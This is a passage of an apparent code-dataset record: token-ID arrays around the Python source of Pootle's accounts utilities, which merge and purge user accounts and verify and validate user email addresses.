14024,
14,
221,
1666,
314,
12840,
570,
199,
16832,
543,
642,
1736,
367,
4722,
2556,
199,
1135,
1005,
316,
4248,
12715,
14,
221,
710,
14857,
12378,
642,
570,
199,
475,
1265,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
199,
2,
3761,
3547,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
199,
1045,
314,
844,
14,
221,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
339,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
199,
5524,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
16832,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
29946,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
9295,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3097,
1298,
1334,
314,
844,
14,
199,
199,
624,
199,
199,
504,
2073,
63,
8110,
14,
1018,
14,
2921,
492,
15996,
199,
504,
2073,
63,
8110,
14,
1018,
14,
4435,
14,
2253,
492,
17009,
199,
504,
2073,
63,
8110,
14,
10159,
14,
5777,
14,
908,
492,
1475,
199,
504,
2073,
63,
8110,
14,
10159,
14,
1579,
14,
1579,
492,
14914,
199,
199,
533,
1010,
21844,
3167,
1799,
8,
5229,
304,
523,
347,
2435,
63,
1074,
8,
277,
12,
2589,
304,
272,
492,
1862,
272,
2589,
14,
409,
63,
1162,
8,
1162,
9,
339,
15996,
14,
815,
360,
17354,
345,
7591,
2670,
2263,
358,
272,
340,
298,
19505,
13,
28627,
13,
1813,
2,
315,
1862,
14,
888,
459,
10057,
418,
971,
489,
436,
1862,
14,
19505,
63,
28627,
63,
5146,
365,
440,
488,
971,
489,
436,
822,
8,
1162,
14,
19505,
63,
28627,
63,
5146,
9,
690,
378,
26,
489,
8597,
82,
63,
3922,
275,
298,
2859,
2,
340,
1862,
14,
19505,
63,
28627,
63,
4266,
63,
3827,
587,
298,
1014,
2,
489,
8597,
82,
63,
1102,
275,
1862,
14,
19505,
63,
28627,
63,
5146,
59,
16,
61,
327,
11496,
314,
1642,
8597,
82,
1591,
489,
8597,
82,
63,
719,
275,
1862,
14,
19505,
63,
28627,
63,
719,
489,
8597,
82,
63,
633,
275,
1475,
13076,
28627,
63,
3922,
93,
20193,
28627,
63,
1102,
16495,
28627,
63,
719,
5995,
28627,
12645,
13589,
2541,
308,
17767,
751,
63,
75,
826,
63,
1760,
275,
1475,
13076,
75,
826,
63,
515,
63,
1832,
93,
446,
5973,
469,
30697,
63,
751,
63,
498,
2902,
93,
469,
30697,
751,
63,
19200,
12084,
531,
340,
1862,
14,
4416,
63,
3827,
587,
3087,
489,
308,
17767,
63,
19505,
63,
28627,
63,
1760,
275,
1475,
13076,
30697,
751,
63,
75,
826,
63,
1760,
93,
26145,
446,
83,
446,
79,
1182,
2374,
15,
2307,
446,
87,
5956,
3638,
1014,
63,
600,
4863,
7,
1553,
21961,
323,
446,
85,
26,
446,
75,
469,
28627,
63,
633,
93,
1204,
20595,
1926,
531,
489,
17009,
8,
30697,
63,
19505,
63,
28627,
63,
1760,
12,
1598,
11275,
275,
6335,
12,
1598,
862,
63,
4532,
29,
19,
12,
1598,
922,
29,
1162,
14,
30697,
751,
12,
1598,
943,
1199,
29,
549,
9,
199,
199,
692,
636,
354,
363,
508,
4396,
973,
5727,
523,
1010,
21844,
3167,
1799,
1252,
2526,
342,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1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ootle
|
pootle/apps/accounts/utils.py
|
1
|
16481
|
# -*- coding: utf-8 -*-
#
# Copyright (C) Pootle contributors.
#
# This file is a part of the Pootle project. It is distributed under the GPL3
# or later license. See the LICENSE file for a copy of the license and the
# AUTHORS file for copyright and authorship information.
import functools
import logging
import sys
from django.contrib.auth import get_user_model
from django.core.validators import ValidationError, validate_email
from django.db.models import Count
from allauth.account.models import EmailAddress
from allauth.account.utils import sync_user_email_addresses
from pootle.core.contextmanagers import keep_data
from pootle.core.models import Revision
from pootle.core.signals import update_data
from pootle_store.constants import FUZZY, UNTRANSLATED
from pootle_store.models import SuggestionState
logger = logging.getLogger(__name__)
def get_user_by_email(email):
"""Retrieves auser by its email address.
First it looks up the `EmailAddress` entries, and as a safety measure
falls back to looking up the `User` entries (these addresses are
sync'ed in theory).
:param email: address of the user to look up.
:return: `User` instance belonging to `email`, `None` otherwise.
"""
try:
return EmailAddress.objects.get(email__iexact=email).user
except EmailAddress.DoesNotExist:
try:
User = get_user_model()
return User.objects.get(email__iexact=email)
except User.DoesNotExist:
return None
def write_stdout(start_msg, end_msg="DONE\n", fail_msg="FAILED\n"):
def class_wrapper(f):
@functools.wraps(f)
def method_wrapper(self, *args, **kwargs):
sys.stdout.write(start_msg % self.__dict__)
try:
result = f(self, *args, **kwargs)
except Exception as e:
sys.stdout.write(fail_msg % self.__dict__)
logger.exception(e)
raise e
sys.stdout.write(end_msg % self.__dict__)
return result
return method_wrapper
return class_wrapper
class UserMerger(object):
def __init__(self, src_user, target_user):
"""Purges src_user from site reverting any changes that they have made.
:param src_user: `User` instance to merge from.
:param target_user: `User` instance to merge to.
"""
self.src_user = src_user
self.target_user = target_user
@write_stdout("Merging user: "
"%(src_user)s --> %(target_user)s...\n",
"User merged: %(src_user)s --> %(target_user)s \n")
def merge(self):
"""Merges one user to another.
The following are fields are updated (model: fields):
- units: submitted_by, commented_by, reviewed_by
- submissions: submitter
- suggestions: user, reviewer
"""
self.merge_submitted()
self.merge_commented()
self.merge_reviewed()
self.merge_submissions()
self.merge_suggestions()
self.merge_reviews()
@write_stdout(" * Merging units comments: "
"%(src_user)s --> %(target_user)s... ")
def merge_commented(self):
"""Merge commented_by attribute on units
"""
self.src_user.commented.update(commented_by=self.target_user)
@write_stdout(" * Merging units reviewed: "
"%(src_user)s --> %(target_user)s... ")
def merge_reviewed(self):
"""Merge reviewed_by attribute on units
"""
self.src_user.reviewed.update(reviewed_by=self.target_user)
@write_stdout(" * Merging suggestion reviews: "
"%(src_user)s --> %(target_user)s... ")
def merge_reviews(self):
"""Merge reviewer attribute on suggestions
"""
self.src_user.reviews.update(reviewer=self.target_user)
@write_stdout(" * Merging remaining submissions: "
"%(src_user)s --> %(target_user)s... ")
def merge_submissions(self):
"""Merge submitter attribute on submissions
"""
# Delete orphaned submissions.
self.src_user.submission_set.filter(unit__isnull=True).delete()
# Before we can save we first have to remove existing score_logs for
# src_user - they will be recreated on save for target_user
self.src_user.scorelog_set.all().delete()
# Update submitter on submissions
self.src_user.submission_set.update(submitter=self.target_user)
@write_stdout(" * Merging units submitted_by: "
"%(src_user)s --> %(target_user)s... ")
def merge_submitted(self):
"""Merge submitted_by attribute on units
"""
self.src_user.submitted.update(submitted_by=self.target_user)
@write_stdout(" * Merging suggestions: "
"%(src_user)s --> %(target_user)s... ")
def merge_suggestions(self):
"""Merge user attribute on suggestions
"""
# Update user and reviewer on suggestions
self.src_user.suggestions.update(user=self.target_user)
class UserPurger(object):
def __init__(self, user):
"""Purges user from site reverting any changes that they have made.
:param user: `User` to purge.
"""
self.user = user
@write_stdout("Purging user: %(user)s... \n", "User purged: %(user)s \n")
def purge(self):
"""Purges user from site reverting any changes that they have made.
The following steps are taken:
- Delete units created by user and without other submissions.
- Revert units edited by user.
- Revert reviews made by user.
- Revert unit comments by user.
- Revert unit state changes by user.
- Delete any remaining submissions and suggestions.
"""
stores = set()
with keep_data():
stores |= self.remove_units_created()
stores |= self.revert_units_edited()
stores |= self.revert_units_reviewed()
stores |= self.revert_units_commented()
stores |= self.revert_units_state_changed()
# Delete remaining submissions.
logger.debug("Deleting remaining submissions for: %s", self.user)
self.user.submission_set.all().delete()
# Delete remaining suggestions.
logger.debug("Deleting remaining suggestions for: %s", self.user)
self.user.suggestions.all().delete()
for store in stores:
update_data.send(store.__class__, instance=store)
@write_stdout(" * Removing units created by: %(user)s... ")
def remove_units_created(self):
"""Remove units created by user that have not had further
activity.
"""
stores = set()
# Delete units created by user without submissions by others.
for unit in self.user.get_units_created().iterator():
stores.add(unit.store)
# Find submissions by other users on this unit.
other_subs = unit.submission_set.exclude(submitter=self.user)
if not other_subs.exists():
unit.delete()
logger.debug("Unit deleted: %s", repr(unit))
return stores
@write_stdout(" * Reverting unit comments by: %(user)s... ")
def revert_units_commented(self):
"""Revert comments made by user on units to previous comment or else
just remove the comment.
"""
stores = set()
# Revert unit comments where self.user is latest commenter.
for unit in self.user.commented.iterator():
stores.add(unit.store)
# Find comments by other self.users
comments = unit.get_comments().exclude(submitter=self.user)
if comments.exists():
# If there are previous comments by others update the
# translator_comment, commented_by, and commented_on
last_comment = comments.latest('pk')
unit.translator_comment = last_comment.new_value
unit.commented_by_id = last_comment.submitter_id
unit.commented_on = last_comment.creation_time
logger.debug("Unit comment reverted: %s", repr(unit))
else:
unit.translator_comment = ""
unit.commented_by = None
unit.commented_on = None
logger.debug("Unit comment removed: %s", repr(unit))
# Increment revision
unit.save()
return stores
@write_stdout(" * Reverting units edited by: %(user)s... ")
def revert_units_edited(self):
"""Revert unit edits made by a user to previous edit.
"""
stores = set()
# Revert unit target where user is the last submitter.
for unit in self.user.submitted.iterator():
stores.add(unit.store)
# Find the last submission by different user that updated the
# unit.target.
edits = unit.get_edits().exclude(submitter=self.user)
if edits.exists():
last_edit = edits.latest("pk")
unit.target_f = last_edit.new_value
unit.submitted_by_id = last_edit.submitter_id
unit.submitted_on = last_edit.creation_time
logger.debug("Unit edit reverted: %s", repr(unit))
else:
# if there is no previous submissions set the target to "" and
# set the unit.submitted_by to None
unit.target_f = ""
unit.submitted_by = None
unit.submitted_on = unit.creation_time
logger.debug("Unit edit removed: %s", repr(unit))
# Increment revision
unit.revision = Revision.incr()
unit.save()
return stores
@write_stdout(" * Reverting units reviewed by: %(user)s... ")
def revert_units_reviewed(self):
"""Revert reviews made by user on suggestions to previous state.
"""
stores = set()
pending = SuggestionState.objects.get(name="pending")
# Revert reviews by this user.
for review in self.user.get_suggestion_reviews().iterator():
suggestion = review.suggestion
stores.add(suggestion.unit.store)
if suggestion.user_id == self.user.id:
# If the suggestion was also created by this user then remove
# both review and suggestion.
suggestion.delete()
logger.debug("Suggestion removed: %s", (suggestion))
elif suggestion.reviewer_id == self.user.id:
# If the suggestion is showing as reviewed by the user, then
# set the suggestion back to pending and update
# reviewer/review_time.
suggestion.state = pending
suggestion.reviewer = None
suggestion.review_time = None
suggestion.save()
logger.debug("Suggestion reverted: %s", (suggestion))
# Remove the review.
review.delete()
for unit in self.user.reviewed.iterator():
stores.add(unit.store)
unit.suggestion_set.filter(reviewer=self.user).update(
state=SuggestionState.objects.get(name="pending"),
reviewer=None)
revision = None
unit.reviewed_by = None
unit.reviewed_on = None
# Increment revision
revision = Revision.incr()
logger.debug("Unit reviewed_by removed: %s", repr(unit))
unit.revision = revision
unit.save()
return stores
@write_stdout(" * Reverting unit state changes by: %(user)s... ")
def revert_units_state_changed(self):
"""Revert unit edits made by a user to previous edit.
"""
stores = set()
# Delete orphaned submissions.
self.user.submission_set.filter(unit__isnull=True).delete()
for submission in self.user.get_unit_states_changed().iterator():
unit = submission.unit
stores.add(unit.store)
# We have to get latest by pk as on mysql precision is not to
# microseconds - so creation_time can be ambiguous
if submission != unit.get_state_changes().latest('pk'):
# If the unit has been changed more recently we don't need to
# revert the unit state.
submission.delete()
return
submission.delete()
other_submissions = (unit.get_state_changes()
.exclude(submitter=self.user))
if other_submissions.exists():
new_state = other_submissions.latest('pk').new_value
else:
new_state = UNTRANSLATED
if new_state != unit.state:
if unit.state == FUZZY:
unit.markfuzzy(False)
elif new_state == FUZZY:
unit.markfuzzy(True)
unit.state = new_state
# Increment revision
unit.revision = Revision.incr()
unit.save()
logger.debug("Unit state reverted: %s", repr(unit))
return stores
def verify_user(user):
"""Verify a user account without email confirmation
If the user has an existing primary allauth.EmailAddress set then this is
verified.
Otherwise, an allauth.EmailAddress is created using email set for
User.email.
If the user is already verified raises a ValueError
:param user: `User` to verify
"""
if not user.email:
raise ValidationError("You cannot verify an account with no email "
"set. You can set this user's email with "
"'pootle update_user_email %s EMAIL'"
% user.username)
# Ensure this user's email address is unique
try:
validate_email_unique(user.email, user)
except ValidationError:
raise ValidationError("This user's email is not unique. You can find "
"duplicate emails with 'pootle "
"find_duplicate_emails'")
# already has primary?
existing_primary = EmailAddress.objects.filter(user=user, primary=True)
if existing_primary.exists():
existing_primary = existing_primary.first()
if not existing_primary.verified:
existing_primary.verified = True
existing_primary.save()
return
else:
# already verified
raise ValueError("User '%s' is already verified" % user.username)
sync_user_email_addresses(user)
email_address = (EmailAddress.objects
.filter(user=user, email__iexact=user.email)
.order_by("primary")).first()
email_address.verified = True
email_address.primary = True
email_address.save()
def get_duplicate_emails():
"""Get a list of emails that occur more than once in user accounts.
"""
return (get_user_model().objects.hide_meta()
.values('email')
.annotate(Count('email'))
.filter(email__count__gt=1)
.values_list("email", flat=True))
def validate_email_unique(email, for_user=None):
"""Validates an email to ensure it does not already exist in the system.
:param email: Email address to validate for uniqueness.
:param for_user: Optionally check an email address is unique to this user
"""
existing_accounts = get_user_model().objects.filter(email=email)
existing_email = EmailAddress.objects.filter(email=email)
if for_user is not None:
existing_accounts = existing_accounts.exclude(pk=for_user.pk)
existing_email = existing_email.exclude(user=for_user)
if existing_accounts.exists() or existing_email.exists():
raise ValidationError("A user with that email address already exists")
def update_user_email(user, new_email):
"""Updates a user's email with new_email.
:param user: `User` to update email for.
:param new_email: Email address to update with.
"""
validate_email_unique(new_email)
validate_email(new_email)
user.email = new_email
user.save()
|
gpl-3.0
|
[
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
3,
199,
3,
1898,
334,
35,
9,
4376,
24629,
8417,
14,
199,
3,
199,
3,
961,
570,
365,
282,
1777,
402,
314,
4376,
24629,
2199,
14,
2779,
365,
1854,
1334,
314,
14629,
19,
199,
3,
503,
2945,
4190,
14,
1666,
314,
5113,
570,
367,
282,
1331,
402,
314,
4190,
436,
314,
199,
3,
10610,
570,
367,
4248,
436,
4132,
3319,
2556,
14,
199,
199,
646,
9143,
199,
646,
2050,
199,
646,
984,
199,
199,
504,
1639,
14,
2828,
14,
1178,
492,
664,
63,
751,
63,
1238,
199,
504,
1639,
14,
1018,
14,
11346,
492,
8505,
12,
4107,
63,
2123,
199,
504,
1639,
14,
697,
14,
992,
492,
14826,
199,
199,
504,
741,
416,
762,
14,
2048,
14,
992,
492,
11426,
1476,
199,
504,
741,
416,
762,
14,
2048,
14,
1208,
492,
7604,
63,
751,
63,
2123,
63,
7423,
199,
199,
504,
1115,
24629,
14,
1018,
14,
1100,
16259,
492,
4215,
63,
576,
199,
504,
1115,
24629,
14,
1018,
14,
992,
492,
27095,
199,
504,
1115,
24629,
14,
1018,
14,
10458,
492,
1678,
63,
576,
199,
504,
1115,
24629,
63,
1617,
14,
5559,
492,
481,
53,
9909,
57,
12,
6778,
26376,
6989,
199,
504,
1115,
24629,
63,
1617,
14,
992,
492,
428,
11914,
1636,
2223,
421,
199,
2921,
275,
2050,
14,
5572,
3460,
354,
3368,
421,
199,
318,
664,
63,
751,
63,
991,
63,
2123,
8,
2123,
304,
272,
408,
28112,
282,
751,
701,
2399,
3031,
2287,
14,
339,
7758,
652,
10734,
1536,
314,
658,
7035,
1476,
64,
4811,
12,
436,
465,
282,
30261,
9775,
272,
26945,
1771,
370,
10023,
1536,
314,
658,
1899,
64,
4811,
334,
29032,
7149,
787,
272,
7604,
7,
379,
315,
30629,
680,
339,
520,
635,
3031,
26,
2287,
402,
314,
922,
370,
3648,
1536,
14,
272,
520,
1107,
26,
658,
1899,
64,
1256,
30226,
370,
658,
2123,
3559,
658,
403,
64,
4257,
14,
272,
408,
272,
862,
26,
267,
372,
11426,
1476,
14,
1462,
14,
362,
8,
2123,
363,
32344,
29,
2123,
680,
751,
272,
871,
11426,
1476,
14,
7400,
26,
267,
862,
26,
288,
2876,
275,
664,
63,
751,
63,
1238,
342,
288,
372,
2876,
14,
1462,
14,
362,
8,
2123,
363,
32344,
29,
2123,
9,
267,
871,
2876,
14,
7400,
26,
288,
372,
488,
421,
199,
318,
2218,
63,
2703,
8,
928,
63,
1328,
12,
1284,
63,
1328,
628,
22162,
60,
78,
401,
2449,
63,
1328,
628,
12299,
60,
78,
2349,
339,
347,
1021,
63,
5029,
8,
70,
304,
398,
768,
17869,
14,
13582,
8,
70,
9,
267,
347,
1083,
63,
5029,
8,
277,
12,
627,
589,
12,
1011,
958,
304,
288,
984,
14,
2703,
14,
952,
8,
928,
63,
1328,
450,
291,
855,
807,
3368,
288,
862,
26,
355,
754,
275,
289,
8,
277,
12,
627,
589,
12,
1011,
958,
9,
288,
871,
2186,
465,
325,
26,
355,
984,
14,
2703,
14,
952,
8,
1633,
63,
1328,
450,
291,
855,
807,
3368,
355,
2512,
14,
1971,
8,
69,
9,
355,
746,
325,
288,
984,
14,
2703,
14,
952,
8,
500,
63,
1328,
450,
291,
855,
807,
3368,
288,
372,
754,
267,
372,
1083,
63,
5029,
272,
372,
1021,
63,
5029,
421,
199,
533,
2876,
16797,
836,
8,
785,
304,
339,
347,
636,
826,
721,
277,
12,
2928,
63,
751,
12,
1347,
63,
751,
304,
267,
408,
14959,
3389,
2928,
63,
751,
687,
4770,
29465,
1337,
1263,
4493,
626,
2985,
1172,
6326,
14,
398,
520,
635,
2928,
63,
751,
26,
658,
1899,
64,
1256,
370,
5389,
687,
14,
267,
520,
635,
1347,
63,
751,
26,
658,
1899,
64,
1256,
370,
5389,
370,
14,
267,
408,
267,
291,
14,
2164,
63,
751,
275,
2928,
63,
751,
267,
291,
14,
1375,
63,
751,
275,
1347,
63,
751,
339,
768,
952,
63,
2703,
480,
16797,
1540,
922,
26,
298,
2116,
11792,
2164,
63,
751,
9,
83,
10541,
2818,
1375,
63,
751,
9,
83,
29279,
78,
401,
2116,
298,
1899,
9545,
26,
2818,
2164,
63,
751,
9,
83,
10541,
2818,
1375,
63,
751,
9,
83,
971,
78,
531,
272,
347,
5389,
8,
277,
304,
267,
408,
16797,
3389,
1373,
922,
370,
4573,
14,
398,
710,
2569,
787,
1504,
787,
4588,
334,
1238,
26,
1504,
304,
267,
446,
6204,
26,
16930,
63,
991,
12,
21804,
63,
991,
12,
11248,
379,
63,
991,
267,
446,
30399,
26,
11482,
351,
267,
446,
18453,
15293,
26,
922,
12,
11248,
281,
267,
408,
267,
291,
14,
5628,
63,
23736,
342,
267,
291,
14,
5628,
63,
957,
2509,
342,
267,
291,
14,
5628,
63,
8578,
379,
342,
267,
291,
14,
5628,
63,
29752,
342,
267,
291,
14,
5628,
63,
19957,
15293,
342,
267,
291,
14,
5628,
63,
24169,
342,
339,
768,
952,
63,
2703,
480,
627,
18880,
1540,
6204,
6786,
26,
298,
2116,
11792,
2164,
63,
751,
9,
83,
10541,
2818,
1375,
63,
751,
9,
83,
1396,
6099,
272,
347,
5389,
63,
957,
2509,
8,
277,
304,
267,
408,
11359,
21804,
63,
991,
2225,
641,
6204,
267,
408,
267,
291,
14,
2164,
63,
751,
14,
957,
2509,
14,
873,
8,
957,
2509,
63,
991,
29,
277,
14,
1375,
63,
751,
9,
339,
768,
952,
63,
2703,
480,
627,
18880,
1540,
6204,
11248,
379,
26,
298,
2116,
11792,
2164,
63,
751,
9,
83,
10541,
2818,
1375,
63,
751,
9,
83,
1396,
6099,
272,
347,
5389,
63,
8578,
379,
8,
277,
304,
267,
408,
11359,
11248,
379,
63,
991,
2225,
641,
6204,
267,
408,
267,
291,
14,
2164,
63,
751,
14,
8578,
379,
14,
873,
8,
8578,
379,
63,
991,
29,
277,
14,
1375,
63,
751,
9,
339,
768,
952,
63,
2703,
480,
627,
18880,
1540,
18453,
1636,
295,
4196,
26,
298,
2116,
11792,
2164,
63,
751,
9,
83,
10541,
2818,
1375,
63,
751,
9,
83,
1396,
6099,
272,
347,
5389,
63,
24169,
8,
277,
304,
267,
408,
11359,
11248,
281,
2225,
641,
18453,
15293,
267,
408,
267,
291,
14,
2164,
63,
751,
14,
24169,
14,
873,
8,
23492,
29,
277,
14,
1375,
63,
751,
9,
339,
768,
952,
63,
2703,
480,
627,
18880,
1540,
7971,
30399,
26,
298,
2116,
11792,
2164,
63,
751,
9,
83,
10541,
2818,
1375,
63,
751,
9,
83,
1396,
6099,
272,
347,
5389,
63,
29752,
8
] |
[
1882,
2803,
26,
2774,
13,
24,
1882,
199,
3,
199,
3,
1898,
334,
35,
9,
4376,
24629,
8417,
14,
199,
3,
199,
3,
961,
570,
365,
282,
1777,
402,
314,
4376,
24629,
2199,
14,
2779,
365,
1854,
1334,
314,
14629,
19,
199,
3,
503,
2945,
4190,
14,
1666,
314,
5113,
570,
367,
282,
1331,
402,
314,
4190,
436,
314,
199,
3,
10610,
570,
367,
4248,
436,
4132,
3319,
2556,
14,
199,
199,
646,
9143,
199,
646,
2050,
199,
646,
984,
199,
199,
504,
1639,
14,
2828,
14,
1178,
492,
664,
63,
751,
63,
1238,
199,
504,
1639,
14,
1018,
14,
11346,
492,
8505,
12,
4107,
63,
2123,
199,
504,
1639,
14,
697,
14,
992,
492,
14826,
199,
199,
504,
741,
416,
762,
14,
2048,
14,
992,
492,
11426,
1476,
199,
504,
741,
416,
762,
14,
2048,
14,
1208,
492,
7604,
63,
751,
63,
2123,
63,
7423,
199,
199,
504,
1115,
24629,
14,
1018,
14,
1100,
16259,
492,
4215,
63,
576,
199,
504,
1115,
24629,
14,
1018,
14,
992,
492,
27095,
199,
504,
1115,
24629,
14,
1018,
14,
10458,
492,
1678,
63,
576,
199,
504,
1115,
24629,
63,
1617,
14,
5559,
492,
481,
53,
9909,
57,
12,
6778,
26376,
6989,
199,
504,
1115,
24629,
63,
1617,
14,
992,
492,
428,
11914,
1636,
2223,
421,
199,
2921,
275,
2050,
14,
5572,
3460,
354,
3368,
421,
199,
318,
664,
63,
751,
63,
991,
63,
2123,
8,
2123,
304,
272,
408,
28112,
282,
751,
701,
2399,
3031,
2287,
14,
339,
7758,
652,
10734,
1536,
314,
658,
7035,
1476,
64,
4811,
12,
436,
465,
282,
30261,
9775,
272,
26945,
1771,
370,
10023,
1536,
314,
658,
1899,
64,
4811,
334,
29032,
7149,
787,
272,
7604,
7,
379,
315,
30629,
680,
339,
520,
635,
3031,
26,
2287,
402,
314,
922,
370,
3648,
1536,
14,
272,
520,
1107,
26,
658,
1899,
64,
1256,
30226,
370,
658,
2123,
3559,
658,
403,
64,
4257,
14,
272,
408,
272,
862,
26,
267,
372,
11426,
1476,
14,
1462,
14,
362,
8,
2123,
363,
32344,
29,
2123,
680,
751,
272,
871,
11426,
1476,
14,
7400,
26,
267,
862,
26,
288,
2876,
275,
664,
63,
751,
63,
1238,
342,
288,
372,
2876,
14,
1462,
14,
362,
8,
2123,
363,
32344,
29,
2123,
9,
267,
871,
2876,
14,
7400,
26,
288,
372,
488,
421,
199,
318,
2218,
63,
2703,
8,
928,
63,
1328,
12,
1284,
63,
1328,
628,
22162,
60,
78,
401,
2449,
63,
1328,
628,
12299,
60,
78,
2349,
339,
347,
1021,
63,
5029,
8,
70,
304,
398,
768,
17869,
14,
13582,
8,
70,
9,
267,
347,
1083,
63,
5029,
8,
277,
12,
627,
589,
12,
1011,
958,
304,
288,
984,
14,
2703,
14,
952,
8,
928,
63,
1328,
450,
291,
855,
807,
3368,
288,
862,
26,
355,
754,
275,
289,
8,
277,
12,
627,
589,
12,
1011,
958,
9,
288,
871,
2186,
465,
325,
26,
355,
984,
14,
2703,
14,
952,
8,
1633,
63,
1328,
450,
291,
855,
807,
3368,
355,
2512,
14,
1971,
8,
69,
9,
355,
746,
325,
288,
984,
14,
2703,
14,
952,
8,
500,
63,
1328,
450,
291,
855,
807,
3368,
288,
372,
754,
267,
372,
1083,
63,
5029,
272,
372,
1021,
63,
5029,
421,
199,
533,
2876,
16797,
836,
8,
785,
304,
339,
347,
636,
826,
721,
277,
12,
2928,
63,
751,
12,
1347,
63,
751,
304,
267,
408,
14959,
3389,
2928,
63,
751,
687,
4770,
29465,
1337,
1263,
4493,
626,
2985,
1172,
6326,
14,
398,
520,
635,
2928,
63,
751,
26,
658,
1899,
64,
1256,
370,
5389,
687,
14,
267,
520,
635,
1347,
63,
751,
26,
658,
1899,
64,
1256,
370,
5389,
370,
14,
267,
408,
267,
291,
14,
2164,
63,
751,
275,
2928,
63,
751,
267,
291,
14,
1375,
63,
751,
275,
1347,
63,
751,
339,
768,
952,
63,
2703,
480,
16797,
1540,
922,
26,
298,
2116,
11792,
2164,
63,
751,
9,
83,
10541,
2818,
1375,
63,
751,
9,
83,
29279,
78,
401,
2116,
298,
1899,
9545,
26,
2818,
2164,
63,
751,
9,
83,
10541,
2818,
1375,
63,
751,
9,
83,
971,
78,
531,
272,
347,
5389,
8,
277,
304,
267,
408,
16797,
3389,
1373,
922,
370,
4573,
14,
398,
710,
2569,
787,
1504,
787,
4588,
334,
1238,
26,
1504,
304,
267,
446,
6204,
26,
16930,
63,
991,
12,
21804,
63,
991,
12,
11248,
379,
63,
991,
267,
446,
30399,
26,
11482,
351,
267,
446,
18453,
15293,
26,
922,
12,
11248,
281,
267,
408,
267,
291,
14,
5628,
63,
23736,
342,
267,
291,
14,
5628,
63,
957,
2509,
342,
267,
291,
14,
5628,
63,
8578,
379,
342,
267,
291,
14,
5628,
63,
29752,
342,
267,
291,
14,
5628,
63,
19957,
15293,
342,
267,
291,
14,
5628,
63,
24169,
342,
339,
768,
952,
63,
2703,
480,
627,
18880,
1540,
6204,
6786,
26,
298,
2116,
11792,
2164,
63,
751,
9,
83,
10541,
2818,
1375,
63,
751,
9,
83,
1396,
6099,
272,
347,
5389,
63,
957,
2509,
8,
277,
304,
267,
408,
11359,
21804,
63,
991,
2225,
641,
6204,
267,
408,
267,
291,
14,
2164,
63,
751,
14,
957,
2509,
14,
